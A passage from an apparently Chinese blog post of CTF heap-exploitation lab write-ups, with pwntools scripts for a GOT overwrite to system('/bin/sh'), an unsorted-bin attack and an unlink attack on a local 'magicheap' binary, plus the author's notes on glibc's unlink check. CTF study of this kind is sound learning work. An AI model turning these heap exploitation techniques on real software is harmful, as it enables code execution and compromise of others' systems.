    p.sendafter(':','2')
    p.sendafter(':',str(index))
    p.sendafter(': ',content)

def show(index):
    p.sendafter(':','3')
    p.sendafter(':',str(index))
    return p.recvuntil('\nDone !\n',drop=True)

def delete(index):
    p.sendafter(':','4')
    p.sendafter(':',str(index))

def exit():
    p.sendafter(':','5')



add(0x18,'123')
add(0x10,'123')
payload = '/bin/sh\x00'+p64(0)+p64(0)+'\x41'
edit(0,payload)
delete(1)

add(0x30,'a'*0x10+p64(0)+p64(0x21)+p64(0x10)+p64(elf.got['free']))
recv=show(1)[-6:].ljust(8,'\00')
print hex(u64(recv))
free = u64(recv)
libc = LibcSearcher('free',free)
libcbase = free - libc.dump('free')
system = libcbase + libc.dump('system')
edit(1,p64(system))
delete(0)

p.interactive()

lab14

这是个unsortedbin的题,说实话,并没有完全搞清为什么在这里用不了unlink,为什么这里free了small chunk后,small chunk直接进了unsort bin,还要好好研究。
在这里先假定已经知道了free smallchunk后就直接进unsorted bin。。。

bck = victim->bk;
...
unsorted_chunks (av)->bk = bck;
bck->fd = unsorted_chunks (av);

在这里插入图片描述
在这道题中就是把magic的值给改大一点,我们把unsorted_chunks (av) 赋给它既满足要求。
exp

from pwn import *
from LibcSearcher import *
context.log_level='debug'
context.terminal =['gnome-terminal','-x','sh','-c']
p = process('./magicheap')
def DEBUG(instruction,chose):
    if chose == 1:
        pwnlib.gdb.attach(p,instruction)
    else:
        pwnlib.gdb.attach(p)

def add(size,content):
    p.sendafter(':','1')
    p.sendafter(': ',str(size))
    p.sendafter(':',content)

def edit(index,size,content):
    p.sendafter(':','2')
    p.sendafter(':',str(index))
    p.sendafter(': ',str(size))
    p.sendafter(': ',content)

def delete(index):
    p.sendafter(':','3')
    p.sendafter(':',str(index))

def exit():
    p.sendafter(':','4')

aim = 0x00000000006020E0
fd = aim-0x18
bk = aim -0x10
magic =0x00000000006020C0
instruction ='''
x/xg 0x00000000006020E0
'''
add(0x90,'1234')
add(0x90,'1234')
add(0x90,'1234')
delete(1)
payload = 'a'*0x90+p64(0)+p64(0xa1)+p64(0)+p64(magic-0x10)
edit(0,len(payload),payload)
#DEBUG(instruction,1)
add(0x90,'abcd')
p.sendafter(':','4869')
p.interactive()

经过对源码的进一步学习,原因是自己对unlink的理解还没到位,

 if (__builtin_expect (FD->bk != P || BK->fd != P, 0))		      
  malloc_printerr (check_action, "corrupted double-linked list", P, AV);

之前对这个检查的理解是只要让fake chunk 的fd 和bk 分别满足fd+0x18 ==bk+0x10 就行,但事实是要使*(fd+0x18) = p ,
*(bk+0x10)=p。之前并没有掌握透彻unlink的知识点。还有纠正自己之前的一个误区,small chunk、large chunk被free时,并不会直接进small bin、large bin,而是进了unsorted bin。。。附上一份unlink
exp

from pwn import *

context.log_level='debug'
context.terminal =['gnome-terminal','-x','sh','-c']
p = process('./magicheap')

def DEBUG(instruction,chose):
    if chose == 1:
        pwnlib.gdb.attach(p,instruction)
    else:
        pwnlib.gdb.attach(p)

def add(size,content):
    p.sendafter(':','1')
    p.sendafter(': ',str(size))
    p.sendafter(':',content)

def edit(index,size,content):
    p.sendafter(':','2')
    p.sendafter(':',str(index))
    p.sendafter(': ',str(size))
    p.sendafter(': ',content)

def delete(index):
    p.sendafter(':','3')
    p.sendafter(':',str(index))

def exit():
    p.sendafter(':','4')

aim = 0x00000000006020e0+0x8
fd = aim-0x18
bk = aim -0x10
magic =0x00000000006020C0
instruction ='''
x/xg 0x00000000006020E0
'''
add(0x90,'1234')
add(0x90,'1234')
add(0x90,'1234')
add(0x90,'1234')
payload = p64(0)+p64(0x91)+p64(fd)+p64(bk)+'a'*0x70+p64(0x90)+p64(0xa0)
edit(1,len(payload),payload)
delete(2)
DEBUG(instruction,1)
payload = 'a'*0x10+p64(magic)
edit(1,len(payload),payload)
edit(0,8,p64(0x2000))
p.sendafter(':','4869')
p.interactive()

lab15

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值